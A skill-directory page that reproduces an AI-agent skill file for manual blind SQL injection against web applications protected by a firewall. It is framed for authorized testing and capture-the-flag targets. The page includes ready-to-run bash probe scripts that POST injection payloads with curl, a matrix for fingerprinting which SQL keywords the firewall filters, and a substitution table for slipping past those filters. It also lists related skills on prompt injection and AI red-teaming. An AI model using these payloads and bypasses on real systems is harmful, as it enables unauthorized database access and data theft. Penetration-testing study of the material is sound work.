blind-sqli
What it does
This guide covers manual testing for blind SQL injection, where the app shows only true or false responses. It is for security testers who need to work around a web application firewall in an authorized test.
When to use it
- ✓When an authorized test has a clear true and false response difference and standard tools are blocked.
- ✓When a web firewall filters common SQL keywords and sqlmap cannot get through.
- ✓When you need a step-by-step approach to confirm a blind injection with minimal requests.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agent’s skills folder.
Example of what to ask your AI
“Our authorized test shows a true and false response difference, but the firewall blocks normal tools. Can you help me confirm the injection?”
5 new skills a week. 1 minute to read.
How it works
The agent first confirms a reliable true and false signal, then tests which keywords are filtered and builds simpler checks that the firewall does not block.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Blind SQL Injection — Manual WAF Bypass
Companion to sqli.md. Load this only after you have:
- Confirmed a stable binary oracle (two distinct page states: "User exists" vs "No results", different content lengths, or different HTTP codes).
- Confirmed sqlmap with
--tampercannot pass the WAF. If sqlmap returns clean dumps, stop and use it — this skill is more expensive in tokens and wall-clock.
If both conditions hold, the goal is to hand-craft a payload that substitutes every filtered SQL token until each oracle probe returns a clean true/false signal, then extract the flag bit-by-bit with the smallest possible request count.
Confirm the oracle first (≤2 minutes)
The whole playbook collapses if your "true" and "false" responses aren't distinguishable. Reduce the response to a single grep-able token before any extraction:
probe() {
local label="$1"; local payload="$2"
local resp
resp=$(curl -s --max-time 8 -X POST "http://$TARGET/search.php" \
--data-urlencode "username=${payload}")
echo "$resp" \
| grep -oE "User exists[^<]*|No results|some item is filtered|Error|Welcome" \
| head -1
}
probe "true probe" "x\"||1=1#" # expect: User exists
probe "false probe" "x\"||1=2#" # expect: No results
probe "filter probe" "x\"||SLEEP(0)#" # expect: filtered (token banned)
A single ambiguous response means you do NOT have an oracle yet — re-do recon. Time-based oracles work too, but bash's time resolution and HTTP jitter make a content oracle 5-10× more reliable.
Step 1 — WAF token fingerprint (batched probe script)
Test 10-15 candidate tokens in one script, log each as a labelled line. One script run beats 15 sequential bash calls (saves ~70% of the round-trip cost).
cat > /tmp/probe.sh <<'EOF'
#!/usr/bin/env bash
set -u
TARGET="${TARGET:?set TARGET=host:port}"
ENDPOINT="${ENDPOINT:-/search.php}"
PARAM="${PARAM:-username}"
INJ="${INJ:-x\"||{PAYLOAD}#}" # outer template; {PAYLOAD} is replaced
probe() {
local label="$1"; local payload="$2"
local body="${INJ/'{PAYLOAD}'/$payload}"
local resp
resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \
--data-urlencode "$PARAM=$body")
local sig
sig=$(echo "$resp" | grep -oE "User exists[^<]*|No results|filtered|some item[^<]*|Error" | head -1)
printf "%-40s | %s\n" "$label" "${sig:-???}"
}
# === SQL token sniff matrix ===
probe "1=1 baseline true" "1=1"
probe "1=2 baseline false" "1=2"
probe "WHERE clause" "EXISTS(SELECT 1 FROM users WHERE 1=1)"
probe "AND keyword" "1=1 AND 1=1"
probe "&& operator" "1=1 && 1=1"
probe "OR keyword" "1=0 OR 1=1"
probe "|| operator" "1=0 || 1=1"
probe "IF function" "IF(1=1,1,0)"
probe "CASE WHEN" "(CASE WHEN 1=1 THEN 1 ELSE 0 END)"
probe "SUBSTRING(str,1,1)" "SUBSTRING('abc',1,1)='a'"
probe "MID(str,1,1)" "MID('abc',1,1)='a'"
probe "ASCII(c)" "ASCII('a')=97"
probe "ORD(c)" "ORD('a')=97"
probe "GROUP_CONCAT()" "GROUP_CONCAT('a','b')='ab'"
probe "single-quote 'a'" "'a'='a'"
probe "double-quote \"a\"" "\"a\"=\"a\""
probe "hex 0x61" "0x61='a'"
probe "arithmetic boolean" "(1=1)*(1=1)=1"
EOF
chmod +x /tmp/probe.sh
TARGET=host.docker.internal:8080 /tmp/probe.sh | tee /tmp/probe.out
Every line that returns ??? (no matching signature) or filtered is a banned token. Every line that flips the oracle correctly (User exists for the true rows, No results for the false rows) is a usable primitive.
Common WAF substitution map (the bench-tested replacements that have worked across multiple targets):
| Filtered token | Substitute that survives |
|---|---|
SUBSTRING(s,i,n) |
MID(s,i,n) |
IF(c,t,f) |
(CASE WHEN c THEN t ELSE f END) or arithmetic (see below) |
AND |
&& |
OR |
|| |
WHERE |
JOIN ... ON subquery, or move predicate into SUM((c1)*(c2)) |
'literal' |
0x6c6974657261 (hex) or CHAR(108,105,116,...) |
GROUP_CONCAT(IF(c,t,0)) |
SUM((c)*ASCII(...)) per position |
Step 2 — boolean evaluation without IF/WHERE/AND
When the WAF strips IF, AND, WHERE together, the cleanest replacement is arithmetic multiplication of booleans. MySQL treats (comparison) as an integer
FAQ
What is a binary oracle?
It is a response pattern that clearly differs for true and false questions, which the guide requires before testing.
When should sqlmap be used instead?
The guide says to use sqlmap first when it can pass the firewall, because this method is slower.
Why check the signal first?
The guide says the approach collapses if true and false responses cannot be told apart.
Details
Original description by the author
Blind SQL injection under hostile WAF — manual bypass playbook for when sqlmap fails because common tokens (SUBSTRING, IF, AND, WHERE, single quotes) are filtered. Covers token-fingerprinting probe loops, arithmetic-multiplication boolean evaluation, hex-encoded literals, and exponential-probe binary search. Loaded on top of sqli.md when the binary oracle exists but tampers can't pass the WAF.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14050
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- …
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.